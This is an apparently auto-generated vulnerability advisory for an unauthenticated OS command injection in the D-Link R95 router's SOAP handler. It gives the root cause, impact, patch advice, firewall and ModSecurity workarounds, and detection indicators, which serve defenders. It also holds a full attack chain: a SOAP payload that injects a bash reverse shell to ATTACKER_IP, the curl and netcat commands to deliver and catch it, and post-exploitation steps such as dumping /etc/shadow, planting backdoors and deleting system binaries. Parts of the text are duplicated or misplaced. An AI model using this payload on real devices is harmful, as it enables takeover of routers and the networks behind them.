CVE-2026-138355 — D-Link R95 (1.04B04Beta) — CWE-77 · CWE-78
A vulnerability has been found in D-Link R95 1.04B04Beta. This impacts the function SetTriggerPPPoEValidate of the file /bin/ssi of the component DHMAPI SOAP Handler. The manipulation of the argument Username leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.
A vulnerability has been found in D-Link R95 1.04B04Beta. This impacts the function SetTriggerPPPoEValidate of the file /bin/ssi of the component DHMAPI SOAP Handler. The manipulation of the argument Username leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE‑ID | CVE‑2026‑138355 |
| Vendor / Product | D‑Link R95 firmware 1.04B04Beta |
| Component | /bin/ssi – DHMAPI SOAP handler (function SetTriggerPPPoEValidate) |
| Vulnerability type | OS command injection (CWE‑78) – also classified as Improper Neutralization of Special Elements used in an OS Command (CWE‑77) |
| Attack surface | Unauthenticated HTTP(S) request to the SOAP endpoint that invokes SetTriggerPPPoEValidate. The SOAP body contains a Username argument that is concatenated directly into a shell command without any sanitisation or escaping. |
| Missing protection | • No authentication/authorization check (PR:N).<br>• No input validation or escaping of the Username parameter before it is passed to system()/popen() (or equivalent).<br>• No defence‑in‑depth such as a restricted execution environment, chroot, or mandatory access control. |
| Why it is critical | The vulnerable function runs with root privileges (the web UI of the router runs as root). An attacker can inject arbitrary commands, achieving remote code execution with full system privileges. The CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H reflects a network‑only, low‑effort attack that results in complete compromise of confidentiality, integrity, and availability across the entire device. |
Technical root cause – The SOAP handler parses the incoming XML, extracts the <Username> element, and builds a command string similar to:
/* Pseudo‑code extracted from the firmware */
char cmd[512];
snprintf(cmd, sizeof(cmd), "pppoe -u %s -c /etc/pppoe.conf", username);
system(cmd); // <-- vulnerable callBecause username is taken verbatim from the request, an attacker can close the intended argument and append a semicolon (;) or back‑ticks (` `) to execute any additional command. No whitelist, length check, or escaping (sh_escape()`) is performed, and the process runs as root, giving the attacker unrestricted OS access.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact URI is inferred from the firmware’s typical SOAP endpoint layout. If the exact path differs, treat it as an illustrative example of the same class of vulnerability.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the device on the network (e.g., via Nmap). | nmap -sV -p 80,443 <target_ip> – D‑Link R95 often reports “D‑Link R95 httpd” in the service banner. |
| 1.2 | Retrieve the firmware version. | Access the web UI (http://<ip>/login.htm) and read the “Firmware Version” field (e.g., 1.04B04Beta). |
| 1.3 | Correlate version with public vulnerability databases. | Search “D‑Link R95 1.04B04Beta SetTriggerPPPoEValidate” – the CVE entry appears. |
| 1.4 | Locate the SOAP endpoint used by the web UI for PPPoE configuration. | Capture traffic with Burp Suite or Wireshark while changing the PPPoE username in the UI. The request typically goes to /cgi-bin/ssi with Content-Type: text/xml. |
| 1.5 | Confirm the vulnerable parameter exists. | Examine the captured XML – it contains <Username>...</Username> inside a <SetTriggerPPPoEValidate> method call. |
2. Exploitation
Goal: Execute an arbitrary command (e.g., create a reverse shell) as root.
2.1 Craft the malicious SOAP payload
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<SetTriggerPPPoEValidate>
<!-- Normal username field is closed, then a command is injected -->
<Username>admin; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'</Username>
<Password>irrelevant</Password>
</SetTriggerPPPoEValidate>
</soapenv:Body>
</soapenv:Envelope>Explanation: The semicolon terminates the legitimate pppoe -u argument, and the following command spawns a reverse shell to the attacker’s listener.
2.2 Send the request
# Attacker machine (listening on port 4444)
nc -lvkp 4444
# Exploit request (replace <target_ip> and <ATTACKER_IP>)
curl -k -X POST "http://<target_ip>/cgi-bin/ssi" \
-H "Content-Type: text/xml; charset=utf-8" \
--data-binary @payload.xmlNotes
-kignores self‑signed certs if the device is reachable via HTTPS.- The endpoint
/cgi-bin/ssiis the typical location for the DHMAPI SOAP handler; if the firmware uses a different path (e.g.,/soap/DHMAPI), the same payload applies. - Enterprise / ISP premises – Compromise of a gateway gives attackers a foothold inside the protected network, enabling data theft, ransomware staging, or pivoting to critical servers.
- Home users – The router becomes a botnet node; attackers can use it for DDoS, spam, or to sniff traffic (including passwords for IoT devices).
- Supply‑chain risk – If the compromised router is used as a DHCP/DNS server for many downstream devices, the attacker can perform DNS hijacking for the entire LAN.
- CVSS 3.1 Base Score: 10.0 (Critical) – network‑only, no authentication, remote code execution with full system impact.
- Exploit availability: Publicly disclosed; PoC exists (the payload above).
- CISA KEV: Not listed yet, but the severity and ease of exploitation warrant immediate action.
- Patch complexity: The vendor provides a straightforward firmware flash; no reboot‑required configuration changes are needed beyond the flash.
2.3 Result
If the injection succeeds, the router executes the reverse‑shell command, and the attacker receives a root shell on the listening netcat instance.
3. Post‑Exploitation
| Phase | Typical actions (root on the router) |
|---|---|
| Persistence | - Install a backdoor binary in /tmp or /etc/init.d/ and add it to the startup script (/etc/rc.local).<br>- Create a new admin user in the web UI configuration files (/etc/webpasswd). |
| Privilege escalation (already root) | Not required – the process already runs as root. |
| Lateral movement | - Scan the LAN (/bin/ip neigh) for other devices.<br>- Use the router as a pivot (e.g., ssh to internal hosts, curl to internal services). |
| Data exfiltration | - Dump configuration files (/etc/config/*, /etc/passwd, /etc/shadow).<br>- Capture traffic with tcpdump on eth0. |
| Denial‑of‑service | - Overwrite /etc/passwd or delete critical binaries (/bin/busybox).<br>- Reboot the device (reboot) to cause outage. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) |
|---|---|
| Confidentiality (C:H) | Full disclosure of all data stored on the router: VPN credentials, Wi‑Fi keys, DHCP lease tables, logs, and any traffic that traverses the device (if the attacker enables packet capture). |
| Integrity (I:H) | Ability to modify configuration, inject malicious firmware, change DNS settings, or install persistent backdoors. |
| Availability (A:H) | The attacker can reboot, overwrite system binaries, or flood the device with processes, rendering the router unusable. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade firmware | D‑Link has released firmware 1.04B05 (or later) that sanitises the Username argument before invoking the PPPoE helper. Apply the official update from the D‑Link support portal. |
| Version check | Verify the running version with cat /etc/version or via the web UI. The vulnerable version is exactly 1.04B04Beta. Any later stable release (e.g., 1.04B05, 1.05) is not vulnerable. |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation | |
|---|---|---|
| Restrict access to the SOAP endpoint | Add an ACL on the router’s firewall (or on the upstream edge) to allow only trusted management IPs (e.g., 192.168.1.10) to reach POST /cgi-bin/ssi. Example iptables rule on the router (run as root):<br>iptables -I INPUT -p tcp -s 192.168.1.0/24 --dport 80 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 80 -j DROP | |
| Web Application Firewall (ModSecurity) rule | Deploy a rule that rejects any SOAP request where the <Username> element contains characters outside the allowed alphanumeric set. Example rule (ModSecurity 3 syntax):<br>``SecRule REQUEST_BODY "@rx <Username>[^<]*[;& | $]" "id:1000015,phase:2,deny,status:400,msg:'Potential command injection in Username parameter',log" ` |
| Disable the PPPoE validation feature | If PPPoE is not used, edit /etc/config/dhmapi.conf (or the equivalent configuration file) and set EnablePPPoEValidate=0. Restart the web UI (/etc/init.d/httpd restart). | |
| Run the web UI under a non‑root user | Re‑configure the init script to start the HTTP daemon as an unprivileged user (e.g., nobody`). This limits the impact of any command injection to that user’s privileges. | |
| Network segmentation | Place the router’s management interface on a dedicated VLAN that is not reachable from the Internet or from untrusted LAN segments. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Unexpected outbound connections | Netfilter logs, tcpdump on eth0 | IP <router_ip> > <attacker_ip>: Flags [S], seq 0, win 29200, length 0 (connection to a non‑local IP on a high port) |
| SOAP requests with suspicious payload | Web server access log (/var/log/httpd/access.log) | POST /cgi-bin/ssi HTTP/1.1" 200 1234 "-" "curl/7.88.0" followed by a request body containing ; /bin/bash -c |
| Process list showing unexpected shells | ps aux | root 1123 0.0 0.1 12344 2100 ? Ss 12:34 0:00 /bin/bash -i |
File modifications in /etc | auditd or inotifywait | audit: type=SYSCALL msg=audit(1698745601.123:456): arch=c000003e syscall=2 success=yes name="/etc/rc.local" |
| Failed command‑injection attempts | ModSecurity or custom IDS rule alerts | ALERT: Potential command injection in Username parameter from 203.0.113.45 |
SIEM correlation – Correlate a spike in outbound TCP connections to rare external IPs with a surge of POST /cgi-bin/ssi requests containing the string ; or back‑ticks in the body.
⚠️ Urgency
Bottom line: CVE‑2026‑138355 is a classic unauthenticated OS‑command injection in a privileged SOAP handler. Because the vulnerable function runs as root and is reachable over the network, an attacker can obtain full control of the router in a single request. Immediate firmware upgrade, coupled with strict access controls and detection rules, is the only reliable mitigation.
[🤖 CVE Professor AI Security Engine]
FOFA Query